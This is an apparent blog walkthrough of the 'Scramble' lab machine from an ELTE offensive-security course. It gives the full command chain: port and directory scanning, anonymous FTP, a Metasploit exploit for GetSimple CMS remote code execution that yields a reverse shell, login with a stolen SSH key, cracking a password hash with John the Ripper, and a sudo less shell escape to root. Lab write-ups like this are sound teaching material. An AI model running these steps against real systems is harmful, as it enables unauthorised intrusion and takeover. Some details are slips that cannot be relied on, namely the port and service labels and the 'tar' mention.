Post cover image

September 25, 2026

ELTE Offsec Task 2: Scramble

Welcome to the ELTE OffSec Series. In this series, I will walk you through machines prepared by the ELTE Faculty of Informatics, covering…

By Yusif Yagubzade

6 min read

Welcome to the ELTE OffSec Series. In this series, I will walk you through machines prepared by the ELTE Faculty of Informatics, covering exploitation techniques and solution methods for those who are planning to start their first OffSec experience.

Today, we are diving into the Scramble machine the Second machine in this series where we will practice Usage of Metasploit Module, basic password hash cracking, and Privilege Escalation methods. I will solve the machine step by step and explain every stage of the process.

The goal of this article is to show how to apply exploitation methods and techniques in practice. I strongly encourage you to carefully Read each step and take notes along the way.

Network Device discovery

First step is identifying the Target machine's Ip address by scanning the Local Subnet range with using Netdiscover tool

┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# netdiscover -r Ip_range/24
None

Nmap Network Enumeration

After identifying the target machine's IP address, the next step is to scan for open ports and the services running on them.

┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# nmap -Pn -sCV -p- -open TargetIP -oN Scramble.log
None

Nmap Results: The scan identified the following open ports:

●​ 22/tcp (HTTP): Apache httpd 2.4.63. ●​ 80/tcp (SSH): OpenSSH 9.9p1 Ubuntu. ●​ 21212/tcp (FTP): vsftpd 3.0.5.

When you look at the port closely, configuration is not a standard one for the ports 22and 80 the services are swapped. Thus we need to keep this in mind when we continue the following steps.

FTP Enumeration (Anonymous Login)

Since anonymous FTP was enabled, We can access to FTP session using username Anonymous for the password you use either anonymous or leave it blank.

┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# ftp Target_IP Port_number

In the FTP session you'll see a files directory, which you will discover a note.txtfile, use FTP build in mget command to download the file in you local system

None

when you check the content of the note.txt file, you will see its revealing the website development and server location under the /nancy_blog_cms/ folder.

None

Directory Enumeration

After Identifying the /nancy_blog_cms/ path it is time for the directory enumeration. Before the using the scanning tools we specify the port of the website according to nmap result we see the HTTP is running on port 22.

For the enumeration, the Dirsearch tool was used with it own defaul wordlist. For the Alternative tools you can use Feroxbuster, gobuster or dirbuster the chose is your 👍

┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# dirsearch -u http://Target_IP:22/nancy_blog_cms/
None 
┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# dirsearch -u http://Target_IP:22/nancy_blog_cms/cms/
None 
┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# dirsearch -u http://Target_IP:22/nancy_blog_cms/cms/admin
None

Result: The scan identified the following paths:

●​ /nancy_blog_cms/cms/ (Status: 301/200). ●​ /nancy_blog_cms/cms/admin/(Status: 301/200). ●​ /nancy_blog_cms/cms/admin/index.php/login (Status: 200).

Web Discovery Metasploit Initial Access

After Discovering the directories of the web interface now we are going to check for the Web exposures and vulnerabilities. Upon the result of the directory search we find /nancy_blog_cms/cms/admin/index.php/login when the request intercepted with Burpsuite, we discover the Version of the GetSimple CMS.

None

When the version Searched, we find Exploit in Exploit Database classified as CVE-2019–11231. Which Going to allow us to use Unauthenticated Remote Code Execution.

None None

Metasploit is an open-source framework used by security professionals to identify, test, and exploit system vulnerabilities. It acts as a digital toolkit that automates complex hacking tasks for penetration testing and defense.

Now Lets get the fun Part Using the exploitation with Metasploit 🦾💀

None

For the usage of the tool is simple We already know which exploit going to use. Running the Metasploit you can use msfconsole command in kali linux and select the exploit module.

┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# msfconsole -q
msf > use exploit/multi/http/getsimplecms_unauth_code_exec
msf exploit(multi/http/getsimplecms_unauth_code_exec) > show options
None 
#Setting Up MSF Exploit for Attack Target
msf exploit(multi/http/getsimplecms_unauth_code_exec) > set RHOST Target_IP
msf exploit(multi/http/getsimplecms_unauth_code_exec) > set RPORT 22
msf exploit(multi/http/getsimplecms_unauth_code_exec) > set TARGETURI /nancy_blog_cms/cms
None

Now everything is setup For the use this exploit you either use exploit or run commands. if the Exploit successful you will get MSF meterpreter ReverseShell.

#Run Exploit.
msf exploit(multi/http/getsimplecms_unauth_code_exec) > exploit
None 
#Meterpreter build in command usage.
meterpreter > ls
None 
#Meterpreter access Target machine Shell.
meterpreter > shell
None

The User Pivoting Part 1: (SSH Private Key)

Once inside of the www-data session. It is time elevate first level privileges.

when we go to the /home directory you will see 2 files have the same names, first file stores SSH sessions private Key, second file stores the user's login information.

None

An SSH private key is half of a cryptographic key pair used to authenticate a user to a remote server without the need for a traditional password. In order to use the private key first we need to save key content to a file the give correct permission with chmod command. and using the SSH command to login user session but in our case we need to change the port to 80 instead of 22.

┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# chmod 600 key-file
└─# ssh -i ssh-priv.key -oPubkeyAcceptedAlgorithms=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa bob@Target-IP -p 80
None None

The User Pivoting Part 2: (Password Cracking)

Once inside of the Bob user's session inside of the hidden files we find .bash_history file which stores all command previously use in terminal, when we check the file you see nancy user's password hash file.

None

John The Ripper was used to crack the extracted hash. In this step, the extracted password hashes are cracked using the John The Ripper. tool but you can alternative toHashcat. Since the hashing algorithm has already been identified as SHA2–256, The following command initiates a dictionary attack using the Rockyou wordlist.

┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# john hash-nancy -- wordlist=/usr/share/wordlists/rockyou.txt
None

After the Cracking the Nancy user's password SSH was used to establishing Shell session using the user Credentials.

┌──(root㉿Ghost0xFF)-[/home/phantom/Desktop/ELTE/Offsec-Foundation]
└─# ssh -p 80 nancy@Target_IP
None

Privilege Escalation

After gaining access as nancy, when we check the user's sudo privileges we see User can run /usr/bin/less command as root without needing additional Authentication

nancy@scramble:~$ sudo -l
None

Result: (ALL) /usr/bin/less. The user nancy can execute the tar command as root without a password show that with sudo permission less can execute shell as root source GTFHobins.

None 
nancy@scramble:~$ sudo less /etc/hosts

#Run this command after you enter the Text editor
!/bin/bash
None

Now we are ROOT! I hope you Enjoyed it.

None

You'll like to check the Next Article follow this Link

"If you have any questions or comments, please do not hesitate to write. Have a good days"

https://www.linkedin.com/in/yusif-yagubzadeh/